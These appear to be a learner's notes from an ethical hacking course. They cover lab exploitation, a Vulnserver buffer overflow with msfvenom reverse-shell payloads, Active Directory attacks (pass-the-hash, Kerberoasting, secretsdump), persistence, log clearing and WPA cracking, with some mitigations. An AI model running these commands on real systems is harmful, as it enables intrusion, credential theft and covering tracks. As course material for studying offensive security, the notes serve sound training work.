TCM Security: Practical Ethical Hacking
TCM Security: Practical Ethical Hacking
Introduction to Linux
1. Brushed up basic commands like ls , cd , touch , mkdir , cat , echo
etc.
2. Wrote a Bash Script to sweep IP's on my local network.
Introduction to Python
1. Basic Programming skills in Python.
2. Wrote a basic Port Scanner in Python.
Sometimes all the domains gathered using Amass cannot not be reached
directly over HTTP/HTTPS . The filter out reachable domains we could use
a tool called HttpProbe by tomnomnom.
7. Next task after figuring out a domain or website is enumerating the
framework it is built upon. Various tools can be used for this task.
Built With : The most comprehensive tool for in-depth website
framework enumeration.
Wappalyzer : Browser extension for quickly checking website's
framework technologies.
whatweb : Kali built-in website enumeration tool.
8. Burpsuite is web penetration testing tool that allows us to intercept all
our web traffic and modify requests and automatically scan the website
to find important info and vulnerabilities. It is one of the most widely
used web application enumeration tool.
9. Google Fu derived from Kung Fu is basically about the art of Googling. It
involves how effectively you are able to lookup data related to your
target and find useful files and search results which would usually not
be presented to the average user. Eg: site:tesla.com -www
filetype:pdf . A good source for such Google Dorks is Click Me .
10. The importance of Social Media in reconnaissance if incomparable.
Scanning through social media sites like twitter.com , linkedin.com
etc. for badge photos, employees details and other crucial information
can prove to be extremely valuable in our reconnaissance. Its the people
that are the weakest links of any organization.
Exploitation Basics
1. In this section we aim to exploit the various vulnerabilities discovered in
our target. We start by using already available exploits and also by
manually exploiting a target's vulnerability. We can use Metasploit which
has a large collection of popular exploits. We could also compile our own
exploits and use them manually against our target. We will also explore
brute forcing attacks using Hydra as well as password spraying and
credential stuffing using Burpsuite.
2. During any exploitation attempt, our main goal is to get a Shell on the
target machine. A shell basically provides us with an interface to
interact with the machine. There are generally two different types of
shell:
(i) Bind Shell : In this case a malicious program opens a network port on
a victim’s machine, waiting for an incoming connection from an
attacker. The attacker then connects to this open port, and gains
control over the victim’s system.
(ii) Reverse Shell : In this the attacker must first start a server on his
machine, while the target machine will have to act as a client that
connects to the server served by the attacker. After the successful
connection, the attacker can gain access to the shell of the target
computer.
introduction-to-staged-vs-non-staged-payloads.webp
staged-vs-non-staged-payloads2.webp
4. Exploit 1: [Samba 2.2.1a] Remote Buffer Overflow
Luckily the exploit for this vulnerability is included with Metasploit. The
exploit used in this case is trans2open. We simply have to fire up
Metasploit and search for this exploit. After selecting this exploit we
have to configure our RHOST option to our target machine.
Our target code depending on the Apache version and operating system
used by target machine used is 0x6b. Thus the command to execute is:
./OpenFuck 0x6b 192.168.75.130 -c 40
6. Exploit 3: [OpenSSH 2.9p2] Brute Force Attack
In this case we are not exploiting a vulnerability but rather brute-forcing
the password for the machine's ssh server using Hydra. Unfortunately,
the OpenSSH version used by the target is very old and the kexAlgorithms
and ciphersuites used for connecting to the ssh server are not supported
by default on Kali.
New Capstone
1. Machine 1: Blue
Then we use dirb or dirbuster to find the URL for the login page. After
that we login to that page using the snooped credentials. On that login
page, under the profile section we find an option to upload our profile
picture which we use for file upload vulnerability. We upload a PHP
reverse shell script from Pentest Monkey to get get a reverse shell on
our machine. After getting shell access our new goal is privilege
escalation to get root.
Note: Once a hash has been cracked, hashcat won't crack it again
and we can find the cracked passwords stored at
~/.local/share/hashcat/hashcat.potfile.
3. Machine 3: Dev
This is another Debian based Linux Machine. A NMAP scan reveals the
following open ports of significance: Apache server at port 80, another
Apache server at port 8080, OPENSSH at port 22 and NFS at port 2049.
We start with NFS(Network File Sharing) service which is used to mount
remote folders to our machine and access them locally. To find
mountable folders on the target we use showmount -e <target ip> .
This lists the mountable folders through NFS namely /srv/nfs which we
then mount using mount -t nfs 192.168.75.134:/srv/nfs
~/Desktop/nfs .
Here we find a user named jeanpaul. Our first guess is that this might be
the author of To_Do file. So, we try to ssh into target machine with
id_rsa private key as ssh -i id_rsa jeanpaul@192.168.75.134 . We find
that the RSA key is passphrase protected. We try using the already
discovered password I_love_java since the author also loves java. Bingo!
we get a shell access on target as jeanpaul.
The next step is using Jenkins exploits in order to get a shell. Luckily,
we get a script shell on the webserver under the configuration page. The
shell accepts and executes commands in Groovy language. We google for
a reverse shell script in Groovy and execute it to get a reverse shell on
our machine. We get shell access as jenkins user. Now our goal is
privilege escalation to get root access. We start by downloading
WinPeas.exe program from our hosted webserver in order to enumerate
our target.
Normally, when data is written to the buffer space, it starts at ESP and
stops at the EBP. But in case of a buffer overflow attack, we overflow
the actual buffer space and overwrite the EIP. This EIP is a pointer
address which is used to point to certain instructions. By using a
specially crafted payload we can use this EIP to point to our own
malicious code like a reverse shell shellcode. This is how a buffer
overflow attack can be used to execute malicious code on the target
machines.
3. There are seven general steps to conduct a buffer overflow attack:
(i) Spiking : To find a vulnerable command, we will test each one of
them and send a bunch of characters to see if we can overflow the
buffer. If the program crashes, then the command might be vulnerable or
otherwise we move on to the next command.
(ii) Fuzzing : It is similar to Spiking but here we know what part is
vulnerable whereas, in spiking, we test for vulnerable commands. Also,
we try to determine the number of bytes it takes for the program to
crash.
(iii) Finding the Offset : Here we try to find the exact offset after which
the buffer starts overwriting to the EIP. We achieve this using a
specially crafted buffer payload with unique character patterns.
(iv) Overwriting the EIP : After we have determined the offset for EIP
address space, we can use this to write and execute our own
instructions in the EIP though calculated buffer overflows.
(v) Finding Bad Characters : Now that we can control the EIP value and
specify which instruction to execute next, we can now generate our
shellcode. But before generating the shellcode, we need to find the bad
characters to know what characters are good/bad for the shellcode.
(vi) Finding the Right Module : We now need to find the right module
(that has no memory protection) in the program to inject our shellcode
into so that we can get it to execute and achieve desired results.
(vii) Using shellcode to get access : Now, we can easily generate our
shellcode using msfvenom by specifying the platform, payload type,
architecture and all the bad characters that the shellcode needs to
exclude.
4. To demonstrate a buffer overflow attack we will use Vulnserver. For
memory debugging we will use Immunity Debugger. We start off by
spiking the Vulnserver using various available commands to check which
command is vulnerable. This can be achieved using a tool called
generic_send_tcp which is used to spike commands using variables of
incrementing sizes. We find that the server crashes when spiking TRUN
command using generic_send_tcp 192.168.75.132 9999 trun.spk 0 0 .
Hence, its indicates that the TRUN command is vulnerable.
5. Now, we need to fuzz this specific TRUN command to check how many
bytes of data we actually need to crash the Vulnserver. We can achieve
this by writing a custom python script that highlights the payload size at
which the program crashed. This payload size can the then be used for
designing a unique pattern payload to determine the offset of the EIP.
6. Our next task is generating a unique pattern payload of fixed size to
identify the offset for the EIP. This marks the starting bytes after which
the buffer overflow starts overwriting the EIP which we can then use to
execute our own set of instructions. We can generate that payload using
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -
l 20500 command. We will then use this unique pattern to perform
buffer overflow attack and note down the value of the EIP register.
This value can then be used for finding the offset to EIP register by using
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -
l 20500 -q 386F4337 command. In this case it comes out to be 2003
bytes.
7. Now we can tailor our payloads to overwrite custom code on this EIP
address which will then be executed by the machine. We can verify this
by crafting a custom payload payload = "A" * 2003 + "B" * 4 . When
this payload is used for buffer overflow attack we get the following
output in Immunity:
This indicates that all the characters after 2003 bytes aka all 4 " B "s
were written over the EIP address. ( 42 is the hexcode for character
"B").
8. Next step is identifying all the bad characters on the target machine.
Bad characters are the ones that must be detected and eliminated as
they might interfere with the proper execution of the exploit or the
injected shellcode. They can be singled out by sending the complete list
of all such characters available here, to see which ones of these cause
an error on the machine.
To achieve this we will use addon script called mona.py which is written
in python and can be used to automate and speed up specific searches
while developing exploits (typically for the Windows platform). First, we
configure mona's working directory in Immunity Debugger using the
following command: !mona config -set workingfolder
c:\Users\admin\Desktop\mona . Now we can generate a bad character
byte array using mona with the following command: !mona bytearray -
cpb "\x00" . This will be stored in the working directory.
We will include this byte array in our attack payload and restart the
buffer overflow attack. Now, we will analyze the hexdump of the ESP
pointer to find all such bad characters. We can automate this search
using !mona compare -f c:\Users\admin\Desktop\mona\bytearray.bin -
a 005FF910 . Here -a 005FF910 is used to indicate the address of the
ESP Pointer. This will point out all the bad characters, in our case \x00
and \x80 . Now, when generating a reverse shell shellcode, we will
specify msfvenom to avoid using these characters msfvenom -p
windows/shell_reverse_tcp LHOST=192.168.75.131 LPORT=1234
EXITFUNC=thread -a x86 -b "\x00" -f c
9. Now we need to find the right module to attack. This includes any part
of the target machine that does not have any sort of memory
protections. Memory protections, such as DEP, ASLR, and SafeSEH can
cause headaches. While these protections can be bypassed, they make
overflow attacks very hard. We can check for all such vulnerable
modules using !mona modules .
This lists the various modules available and the one that stands out is
essfunc.dll because it doesn't have any memory protections.
Now, we need to find the opcode equivalent of JMP ESP. We are using
JMP ESP because our EIP will point to the JMP ESP location, which will
jump to our malicious shellcode that we will inject later. This also be
achieved using mona by executing the command !mona jmp -r ESP -m
"essfunc.dll" . This will return the addresses which we can use as a
pointer to our malicious shellcode. We select the first address,
625011AF , and add it to our Python script. The new payload in our
script is payload = b"A" * 2003 + b"\xaf\x11\x50\x62" + b"\x90" *
32 + shellcode .
9. Organizational units( OUs ) are container objects. You use these container
objects to arrange other objects in a manner that supports your
administrative purposes. By arranging objects in organizational units, you
make it easier to locate and manage them.
10. AD objects serve as the fundamental building blocks of an Active
Directory network. These objects represent various resources, including
users, computers, printers, and more. Each AD object is defined by a
set of information known as object attributes. For instance, a user
object’s attributes might include their full name, telephone number, and
address.
Another important thing to note: The IP of the Domain Controller was getting
frequently changed by the DHCP Server. This caused a lot of problems as the
connected hosts use the Domain Controllers IP as their IPv4 DNS address.
So, we have regularly update the IPv4 DNS address on hosts to match the IP
of the Domain Controller or any attacks won't work.
(i) Enabling SMB Signing on all devices. This makes the AD immune to
such attacks but decreases the file transfer performance by almost 15-
20%.
(ii) Disable NTLM authentication on network. Even though this can
protect us from such attacks, if at any time the Kerberos system stops
working we would have no other way to login to our machines.
(iii) Limiting domain admins to specific tasks only. They can only log on
to only when the need DA over the hosts.
(iv) Local Admin Restriction is another way through which we can
prevent a lot of lateral movement even if one of the hosts gets
compromised.
9. Another way of getting a shell on the target host if we have cracked its
password is by using a Metasploit module exploit/windows/smb/psexec .
After setting up the required options we use the exploit to get a
meterpreter shell on host. We could also use psexec exploit without
Metasploit using the psexec.py script included with Impacket suite.
Though the problem with psexec exploits in general is that are easily
flagged by Antivirus softwares. So, we could also use wmiexec.py script
and smbexec.py to get an interactive shell on target host using format
wmiexec.py/Domain:Password@<Target IP> .
10. Another great attack is the IPv6 DNS Takeover . This attack exploits the
fact that even though most ADs support both IPv4 and IPv6 addresses
they mostly utilize IPv4 addresses for communication whereas the IPv6
addresses remains unconfigured. This gives us an opportunity where we
can set up our own malicious DHCPv6 server which assigns IPv6
addresses to hosts on that network.
Now, when hosts are dual stacked i.e. when they have both IPv6 and
IPv4 addresses available they prefer using IPv6 over IPv4 for
communication. Thus, now all of their DNS requests are redirected to our
DNS server which can redirect hosts to our machine. Now, when a host
wants to authenticate with the Domain Controller we can intercept this
authentication request and steal user credentials.
It can also be used for creating new users having exclusive rights to
modify Access Control Lists as well as Delegate Impersonation or
Delegate Access attacks in which we can create a new host in the AD
and use that to attack the Domain Controller.
12. There are various ways to mitigate the IPv6 DNS Takeover attacks:
(i) If the AD doesn't utilize IPv6 internally the one of the safest way to
prevent mitm6 attack is by blocking DHCPv6 traffic and incoming router
advertisements in Windows Firewall via the Group Policy. Disabling IPv6
entirely may have unwanted side effects.
(ii) If WPAD(Windows Proxy Auto Discovery) is not in use internally,
disable it via Group Policy and disabling the WinHTTPAutoProxySvc
service.
(iii) Relaying to LDAP and LDAPS can only be mitigated by enabling LDAP
Signing and LDAP channel binding.
(iv) Consider Administrative users to the Protected users group or
marking their account sensitive so that it cannot be delegated, which
will prevent any impersonation of that user via delegation.
PowerView is very powerful tool which can be used for a variety of post
compromise information gathering and even provides persistence
capabilities to the attacker.
3. Another great tool for post compromise enumeration is Bloodhound .
BloodHound uses graph theory to reveal the hidden and often unintended
relationships within an Active Directory or Azure environment. Attackers
can use BloodHound to easily identify highly complex attack paths that
would otherwise be impossible to quickly identify. It can be used to
easily gain a deeper understanding of privilege relationships in an Active
Directory.
This will let us know about all the hosts that can be authenticated using
these compromised credentials. We can also dump the password hashes
stored on these compromised hosts using netexec smb 192.168.75.0/24
-d Daddy.xyz -u "Son1" -p "MYpassword123#" --sam . This is how by
using Pass the Hash attacks we can dump hashes and use them gain
access to other hosts in the Active Directory.
2. Now to get a shell on the compromised host we generally use psexec.py
tool. This tool can either be used with a password or a password hash.
Now the problem is that only NTLM hashes can be used for password
spraying. Local Accounts hashes are generally stored in NTLM format
whereas Domain Account ones are stored as NTLMv2 or DCC2. So, we
can't use Domain hashes for password spraying. But many times the
passwords for local and domain accounts are same. In that case we
could use the NTLM hash of local account to authenticate as a Domain
Account User.
3. Even though Pass the Hash attacks cannot be entirely prevented, we can
at least make it very hard for the attacker to use these attacks by
ensuring following practices and policies:
(i) Limit Account Reuse : Avoid reusing local passwords for Domain
accounts and disable guest and local administrator accounts. By limiting
the users in the local Admin group we can increase our resilience against
such attacks.
(ii) Utilize strong passwords : Don't use easily guessable passwords
with common words. Use special characters and numbers along with
alphabets. Also the longer the password the better.
(iii) Privilege Access Management : Regularly inspect sensitive accounts
to detect breaches. Automatically rotate passwords at regular intervals
as this limits the time period for Pass the Hash attacks.
4. Another great attack is Token Impersonation . Its a wonderful privilege
escalation attack which enables us to impersonate any user which has
logged onto to that machine after last reboot. Tokens in general are
temporary keys that allow us to access a system or a network without
having the need to provide credentials every time we access a file. They
persist until a reboot. They similar to cookies in our web browser.
7. It very simple to execute this attack. For this we use a tool called
GetUserSPNs.py included with the Impacket Suite. This tool can be used
to request for a TGS from the Domain Controller for any SPNs in the
Active Directory using command GetUserSPNs.py
Daddy.xyz/son1:MYpassword123# -dc-ip 192.168.75.155 -request .
After we have received the TGS which is encrypted using the password
hash of SPN's account, we try to crack that hash using tools like
Hashcat. This reveals the plaintext password for the SPN service account
which can use to impersonate the account owner and inherit access to
any systems, assets or networks granted to the compromised account.\
8. Since, these attacks don't involve any malware and are basically
exploiting a feature of the Active Directory itself, they are very hard to
detect and mitigate. One practice that can be adopted to build resilience
against such attacks is using strong and long passwords by default.
Also, these passwords should changed regularly. On top of that we must
ensure that any of these SPN service accounts are designed with the
concept of Least Privileges in mind and not granted any unnecessary
rights.
9. Another cool exploit is Group Policy Preferences(GPP) Credentials attack.
It is a very common and easy attack that provides user credentials
stored in SYSVOL share that can be used to get a shell or escalate
privileges. Group Policy Preferences is a collection of Group Policy
client-side extensions that allow Administrators to create Domain Policies
with embedded credentials.
We will often find a section called wdigest which was used to store
passwords in plaintext format but was disabled after Windows 8. This
feature can be enabled through mimikatz and used to capture plaintext
passwords for every new login. We can also use lsadump::sam or
lsadump::sam /patch to dump password hashes.
The Golden Ticket Attack requires the following key things to work:
(i) Fully qualified Domain name. Eg: Daddy.xyz
(ii) The Security Identifier of the Domain aka the SUID.
(iii) The KRBTGT password hash.
(iv) Username of the account they are going to access.
We can also reverse the changes done by this exploit. First, we use
secretsdump.py -just-dc Daddy/BossBaby\$@192.168.75.160 to dump
the Administrator's account password hash. We will then use pass-the-
hash attack to dump Administrator's accounts secrets using
secretsdump.py Administrator@192.168.75.160 -hashes <hashvalue> .
This will reveal the the Domain Controller's original plaintext password
as a hex value. We will the use the restorepassword.py script along
with the hexvalue to restore the DC accounts password back to its
original state using python3 restorepassword.py
Daddy/BossBaby@Bossbaby -target-ip 192.168.75.160 -hexpass
<hexvalue> . This vulnerability was patched in 2020, so any DC without
this patch update is vulnerable to this exploit.
Post Exploitation
1. After we have exploited our target and gained access, we need to
escalate our privileges to get Administrator or Root access. Then we can
download our tools on the target machine through various methods for
further exploitation.
We could also host a FTP server to transfer files. FTP server can be
hosted using python -m pyftpdlib 21 can the files can be accessed on
target machine using ftp 192.168.75.131 .
2. Another important step to consider as soon as we gain access is to
maintain Persistence . This ensures that we are able to reconnect back
to our target even after the current session is terminated. This can be
achieved in a variety of ways, the one which we will discuss is using
Metasploit. Here, we will discuss a method to achieve persistence on a
Windows target host:
3. Another thing that can be done after exploiting a host is Pivoting . This
involves using the target machine to pivot to another network to which
we don't have access. The target machine will be used as a
intermediary to access that network. Once inside Metasploit, we will try
to find, to which networks the target machine has access? We could do
this by running route print , ipconfig , arp -a on target machine if
its Windows based.
Once we have identified our target network, we will use run autoroute
-s <Network Host IP> in the meterpreter. This will automatically add a
route to the target network in our routing table. We could list all such
active routes using command run autoroute -p . We can then scan and
attack the hosts on that new network which was previously inaccessible
to us.
4. Another important task to consider once we have exploited our target and
achieved our goals is Cleaning up . This includes cleaning our footprints
on the target machine which includes deleting all our uploaded files,
clearing system and event logs, restoring configuration settings and
making it look like we were never actually there.
Now, with Go installed, the first tool which we will use is assetfinder
which is used for finding subdomains. We will use this tool in our own
custom script to format output in desirable format. Another great tool
for finding subdomains is Amass , which can also be used for more
exhaustive enumeration. We can install these tools using Go command
syntax go install github.com/tomnomnom/httprobe@latest .
3. Next tool which we will use is httprobe . It is great tool for finding out
active domains. It can be used to check whether a domain is active or
not using command echo cuchd.in | httprobe and for a list of domains
using cat domains.txt | httprobe . The output lists out all the active
domains in the list which can the then be formatted as required. We
could also set the option to probe specific ports only using httprobe -s
-p https:8443 .
4. Another great Go tool for which can be used for screenshotting all the
web applications that are tagged alive by httprobe so as to highlight
potential areas of interest is using gowitness . It is a great automated
website screenshot tool which necessarily requires Google Chrome
installed. It was popping out tons of errors when it was installed in the
way as specified by the instructor. So, for it to work properly, install it
through pimpmykali.
5. Similarly, we could use various other tools for enhancing out output, like
by combining outputs of different tools like sublist3r, amass together,
looking up their certificates using certspotter, checking if the domains
can be taken over using subjack etc. To summarize, there exist a ton of
tools out there to enumerate web applications. We have to write our own
custom scripts based on these various tools to output rich and optimized
results.
6. My own custom modified script is available 👉Here!👈. Other great
channels for learning more about Web Enumeration are NahamSec and Red
Team Village .
Defenses:
Adopt a least privileged approach.
Delete accounts that are no longer needed or active.
Audit activity on servers and websites.
2. Cryptographic Failures
Data in transit and at rest — such as passwords, credit card numbers,
health records, personal information, and business secrets — require
extra protection due to the potential for cryptographic failures (sensitive
data exposures). This includes use of outdated or insecure cryptographic
algorithms, default crypto keys, weak crypto keys being generated and
re-used, crypto keys being exposed in source code repositories and
overall poor key management.
Defenses:
Encrypt data while it is in transit and at rest.
Use the most up-to-date encryption techniques.
Use Strong adaptive and salted hashing functions when saving
passwords.
3. Injection
Injection vulnerabilities can occur when a query or command is used to
insert untrusted data into the interpreter via SQL, OS, NoSQL, or LDAP
injection. The hostile data injected through this attack vector tricks the
interpreter to make the application do something it was not designed for,
such as generating unintended commands or accessing data without
proper authentication.
Defenses:
Segregate commands from data to avoid exposure to attacks.
Code SQL queries with parameters rather than structuring the
command.
Eliminate the interpreter altogether through the use of a safe API.
4. Insecure Design
It focuses on risks related to design flaws. If we genuinely want to
"move left" as an industry, we need more threat modeling, secure
design patterns and principles, and reference architectures. An insecure
design cannot be fixed by a perfect implementation as by definition,
needed security controls were never created to defend against specific
attacks.
Defenses:
Establish and use a safe development lifecycle with AppSec
professionals.
Create and use a library of secure design patterns.
Use threat modeling for crucial authentication.
5. Security Misconfiguration
This vulnerability refers to the improper implementation of security
intended to keep application data safe. These flaws allow hackers to
keep track of the configuration of the security and find new possible
ways to enter websites. It may include accepting default settings that
are insecure, incomplete configurations, misconfigured HTTP headers
etc.
Defenses:
Use predefined secure templates during development and deployment.
Use of segmented application architecture to minimize risks.
Deploy minimal platforms and remove unused features and services.
6. Vulnerable and Outdated Components
Modern distributed web applications often incorporate open source
components such as libraries and frameworks. Any component with a
known vulnerability becomes a weak link that can impact the security of
the entire application. It is #1 when ranking the OWASP Top 10 by how
often a vulnerability was the root cause of an actual data breach.
Defenses:
Continuous scanning of all code components for known vulnerabilities.
Company’s frameworks should be under configuration management.
Patch management workflows for identifying and deploying the right
patch.
7. Identification and Authentication Failures
When applications incorrectly execute functions related to session
management or user authentication, intruders may be able to compromise
passwords, security keys, or session tokens and permanently or
temporarily assume the identities and permissions of other users. This
can give attackers unintended access and can also severely compromise
other assets connected to the same network.
Defenses:
Implement multi-factor authentication.
Enforce strong passwords and avoid using default credentials.
Carefully monitor failed login attempts.
8. Software and Data Integrity
Code and infrastructure that do not guard against integrity violations,
often referred to as software and data integrity failures. A program that
uses plugins, libraries, or modules from untrusted sources, repositories,
or content delivery networks (CDNs) is an example of this. Unauthorized
access, malicious code, or system compromise can all be risks of an
unsecured CI/CD pipeline.
Defenses:
Use of digital signatures to avoid data tampering.
Introduce review procedure for code and configuration modifications.
Make sure your CI/CD pipeline includes adequate segregation.
9. Insufficient Logging and Monitoring
It is estimated that the time from attack to detection can take up to 200
days, and often longer. In the meantime, attackers can tamper with
servers, corrupt databases, and steal confidential information.
Insufficient logging and ineffective integration of the security systems
allow attackers to pivot to other systems and maintain persistent
threats.
Defenses:
Implementing logging and audit software.
Establishing an effective monitoring system.
Thinking like an attacker and use a pen testing approach.
10. Server-Side Request Forgery
Server-side request forgery(also termed as SSRF) is a web security flaw
that allows an attacker to force a server-side application to send HTTP
requests to any domain the attacker chooses. When a web application
fetches a remote resource without validating the user-supplied URL, an
SSRF fault occurs.
Defenses:
Implement input validation and use Regular Expressions (RegEx).
Only accept the intended IP address format (IPv4 or IPv6).
Validate incoming Domain Names.
1. Here we will hack the most popular WPA PSK2 security protocol. We start
by killing any background processes that may interfere with our Wifi card
using airmon-ng check kill . Now, by default our wifi card is in station
mode so that we connect to various different Access Points(AP). We will
change that and place it in monitor mode, so to discover all other
devices in the vicinity and get various details like AP's BSSID, network
strength, devices connected etc. We achieve this using airmon-ng
start wlan0 .
2. Now after placing our wifi card into monitor mode and it will change from
wlan0 to wlan0mon . This will indicates a successfull change. Now, we
start the discovery process. To list all the various AP's in range we use
the command airodump-ng wlan0mon . This will show all the wireless
AP's in range and show various details about them.
3. Next step is selecting the network we want to attack. We will note down
its BSSID and specify this network during discovery. We will use
airodump-ng -c 6 --bssid 50:C7:8A:44:2A:73 -w ./Desktop/capture
wlan0mon . This will monitor the network specified and data being
transmitted. The captured data will stored at the location specified using
-w parameter.